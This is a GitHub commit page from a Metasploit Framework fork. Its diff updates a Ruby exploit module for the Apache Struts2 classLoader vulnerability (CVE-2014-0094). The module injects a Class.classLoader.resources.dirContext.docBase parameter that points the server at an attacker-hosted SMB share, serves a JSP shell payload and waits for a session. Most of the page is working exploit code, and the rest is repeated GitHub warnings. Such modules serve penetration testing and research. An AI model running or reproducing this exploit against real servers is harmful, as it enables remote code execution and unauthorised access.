forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #6 from jvazquez-r7/final_3323_folder_support
Add support for a folder and update module. Thanks @jvazquez-r7 - yeah I was using an older version of my code for the exploit (whoops - long day...). Landed. I'll look at merging this with the existing exploit over the weekend.
- Loading branch information
Showing
17 changed files
with
99 additions
and
81 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,5 +1,5 @@ | ||
## | ||
# This module requires Metasploit: http//metasploit.com/download | ||
# This module requires Metasploit: http://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
|
@@ -13,84 +13,84 @@ class Metasploit3 < Msf::Exploit::Remote | |
|
||
def initialize(info={}) | ||
super(update_info(info, | ||
'Name' => 'Struts JSP Injection over HTTP', | ||
'Name' => 'Struts JSP Injection Over HTTP', | ||
'Description' => %q{ | ||
This module exploits the classLoader Apache Struts2 | ||
vulnerability to inject a JSP shell over SMB. | ||
This module exploits the classLoader Apache Struts2 vulnerability | ||
to inject a JSP shell over SMB. | ||
}, | ||
'Author' => [ | ||
'Matthew Hall <[email protected]>', | ||
], | ||
'Author' => | ||
[ | ||
'Matthew Hall <[email protected]>' | ||
], | ||
'DisclosureDate' => 'May 1 2014', | ||
'Platform' => 'win', | ||
'Privileged' => true, | ||
'References' => | ||
[ | ||
[ 'URL', 'http://www.sec-1.com/blog/'], | ||
[ 'CVE', '2014-0094' ], | ||
['CVE', '2014-0094'] | ||
], | ||
'DefaultOptions' => | ||
{ | ||
'EXITFUNC' => 'process', | ||
'DisablePayloadHandler' => 'false', | ||
'EXITFUNC' => 'process' | ||
}, | ||
'Payload' => | ||
{ | ||
'Space' => 2048, | ||
'DisableNops' => true | ||
}, | ||
'Privileged' => true, | ||
'Arch' => ARCH_JAVA, | ||
'Platform' => [ 'win' ], | ||
'Platform' => 'win', | ||
'Stance' => Msf::Exploit::Stance::Aggressive, | ||
'Targets' => | ||
[ | ||
[ 'Java Universal', | ||
{ | ||
'Arch' => ARCH_JAVA, | ||
'Platform' => ['win','linux'] | ||
}, | ||
] | ||
], | ||
'DefaultTarget' => 0, | ||
)) | ||
register_options( | ||
[ | ||
OptString.new('URI', [true, 'Path to vulnerable Struts action file', '/struts2-showcase/showcase.action', true ]), | ||
OptString.new('FILE_NAME', [ true, 'A static JSP name (ie. "/example/HelloWorld.jsp")', 'showcase.jsp']), | ||
Opt::RPORT(8080) | ||
], self.class) | ||
deregister_options('FILE_CONTENTS') | ||
['Java Universal', {}] | ||
], | ||
'DefaultTarget' => 0, | ||
)) | ||
|
||
register_options( | ||
[ | ||
OptString.new('TARGETURI', [true, 'Path to vulnerable Struts action file', '/struts2-blank/example/HelloWorld.action']), | ||
OptString.new('FILE_NAME', [ true, 'A static JSP name', 'HelloWorld.jsp']), | ||
OptString.new('FOLDER_NAME', [ true, 'A static Folder', 'example']), | ||
OptString.new('SHARE', [ true, 'Share', 'share']), | ||
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10]), | ||
Opt::RPORT(8080) | ||
], self.class) | ||
|
||
deregister_options('FILE_CONTENTS') | ||
end | ||
|
||
def check | ||
uri = datastore['URI'] + '?Class.classLoader.resources.dirContext.cacheObjectMaxSize=x' | ||
res = send_request_raw({'uri'=>uri}) | ||
|
||
if res and res.body =~ /No result defined for action/ | ||
if res and res.body =~ /No result defined for action/ | ||
return Exploit::CheckCode::Vulnerable | ||
else | ||
return Exploit::CheckCode::Unknown | ||
end | ||
end | ||
|
||
def primer | ||
self.file_contents = payload.encoded | ||
def primer | ||
self.file_contents = payload.encoded | ||
print_status("File available on #{unc}...") | ||
share = "#{unc}" | ||
sploit = datastore['URI'] | ||
share = share.gsub(/\\/, '/') | ||
#sploit << '?class.classLoader.resources.dirContext.docBase=' | ||
|
||
sploit = target_uri.to_s | ||
sploit << '?Class.classLoader.resources.dirContext.docBase=' | ||
#sploit << '?Class.classLoader.resources.context.effectiveMajorVersion=' | ||
#sploit << "?class['classLoader']['resources']['dirContext']['docBase']=" | ||
sploit << share | ||
sploit << "\\\\#{srvhost}\\#{share}" | ||
print_status("Injecting JSP to #{datastore['RHOST']}:#{datastore['RPORT']} - #{sploit}") | ||
|
||
res = send_request_raw({ | ||
send_request_raw({ | ||
'method' => 'GET', | ||
'uri' => sploit | ||
}, 30) | ||
end | ||
|
||
# Wait 30 seconds for session to be created | ||
1.upto(30) do | ||
break if session_created? | ||
sleep(1) | ||
def exploit | ||
begin | ||
Timeout.timeout(datastore['SMB_DELAY']) {super} | ||
rescue Timeout::Error | ||
# do nothing... just finish exploit and stop smb server... | ||
end | ||
disconnect | ||
end | ||
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.